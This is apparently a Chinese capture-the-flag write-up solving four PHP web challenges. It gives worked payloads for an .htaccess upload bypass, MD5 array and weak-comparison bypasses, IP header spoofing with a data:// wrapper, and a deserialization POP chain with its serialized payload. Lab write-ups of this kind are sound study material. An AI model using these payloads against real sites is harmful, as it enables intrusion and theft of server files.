1. 你传你🐎呢

打开题目,是一道文件上传题。

上传最普通的php文件,<?php phpinfo();?>,不过肯定不行,不可能这么简单。经过测试之后,是Content-Type有问题,后端会检查该类型,只能接收Content-Type:image/png类型的文件,并且文件名后缀不能是以下几种常见的php文件类型:

1
php, phtml, pht, php5

但是可以上传.htaccess后缀文件,这就好办多了。

第一步,上传.htaccess使其能解析图片中的php命令。

这里一般有两种方法:

1
2
3
<FilesMatch "vuln">
SetHandler application/x-httpd-php
</FilesMatch>

2

这表示用php解析vuln文件中的内容。

上传一句话木马:

3

第二种方法:

1
AddType application/x-httpd-php .jpg

4

这表示用php解析.jpg后缀的文件。

但在调用system()函数读取flag文件的时候却发现system()函数被禁用了。

打印phpinfo()查看所有的disables_functions:

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld

但是我们还可以用show_source()或是`highlight_file()函数来读取flag文件。

6

2. ez_bypass

打开题目发现就是代码审计的题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

第一层需要绕过md5比较,方法比较简单,md5不能对数组元素进行加密,所以只要用数组绕过即可

第二层是关于POST参数$passwd的弱类型比较,$passwd==1234567,令$passwd=1234567aa即可

最后的payload就是:

1
2
3
4
?gg[]=111&id[]=222

// POST
passwd=1234567s

获得flag。

1

3. 套娃

打开题目右键view-source得到源码:

1
2
3
4
5
6
7
8
9
10
11
<!--
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

这里第2个if很好绕过,在正则表达式中,$可以匹配行尾或者一个换行符,所以在字符串23333的后面加一个换行符%0a就可以绕过。

第一个if需要query_string中不包含_,一般这种情况我们会尝试编码绕过,因为query_string不会进行urldecode,但是编码后的_%5f也被过滤了。所以这里需要找其他替代字符。

这里有一个关于php的小技巧,php会将通过$_GET请求传入的参数中的非法字符转换为下划线。

可以fuzz来看一下有哪些字符会被php认为是非法字符。

1
2
3
4
5
6
// t.php
<?php
foreach($_GET as $re => $str) {
echo $re;
}
?>

这里又分成两种情况:

  1. 非法字符为首字符时:只有.被替换为_

11

  1. 非法字符不为首字符时:

12

题目属于情况2,所以我们可以用以下几种来替代_绕过第一个if条件:

1
2
3
4
1. b u p t
2. b+u+p+t
3. b.u.p.t
4. b[u[p[t // 但其实这个不行,不太清楚原因

最后得到:

1
b.u.p.t=23333%0a

8

访问secrettw.php

9

发现一串用JSFUCK表示的js代码,拿去解码得到:post me Merak

10

请求secrettw.php时加一个post参数Merak=1即可得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

这里的if条件语句需要本地访问,伪造http请求头:

1
2
3
X-Forwarded-For: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1

13

第二个点就是需要绕过file_get_contents(),用data://伪协议就可以了。

然后源码会对用户传入的$_GET['file']参数进行解密,所以我们需要先传入一个加密后的参数值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}

function unchange($v){
$re = '';
for ($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2);
}
$v = base64_encode($re);
return $v;
}
$a = unchange('flag.php');
echo $a;
// ZmpdYSZmXGI=
?>

最后得到的payload为:

1
secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

14

4. EzPOP

打开题目,发现是一道反序列化代码审计题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

https://ctf.ieki.xyz/library/php.html 中列出了一些与反序列化相关的魔术方法:

1
2
3
4
5
6
7
8
9
__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

上面比较不常见的是__invoke(),它是在将对象当作函数来使用的时候,会自动调用该方法,举个例子:

15

回到本道题目,我们知道:

  1. 读取flag的关键点就在Modifierappend()方法中的include($value);,该方法在该类的魔术方法__invoke()方法中被调用,所以需要触发__invoke()方法,只要直接将Modifier类当作函数来调用即可;
  2. Show类被创建时,__construct()函数被调用,其中有echo,所以会调用__toString()方法;
  3. __toString()方法会访问$this->str->source属性,令srcTest类的一个实例,Test类会调用__get()魔术方法;
  4. __get()方法会将它的p属性当成函数调用,令$this->p=Modifier(),会返回一个return Modifier(),从而触发了Modifier类中的__invoke()方法;
  5. __invoke()方法调用了append()方法,该方法会include($value),令$valueflag.php源码即可。

对应的poc为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show {
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo "Welcome to ". $this->source. "<br>";
}

public function __toString(){
return "bantttian";
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}

$o = new Show('aaa');
$o->str = new Test();
$bantian = new Show($o);
echo serialize($bantian);

得到结果:

1
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:3:"aaa";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

进行urlencode操作,传入pop参数得到base64加密后的flag.php文件源码,base64解密就可得到flag。

最近实在是有点忙,还有一半多的题目没有做,只能忙里偷闲找时间做了。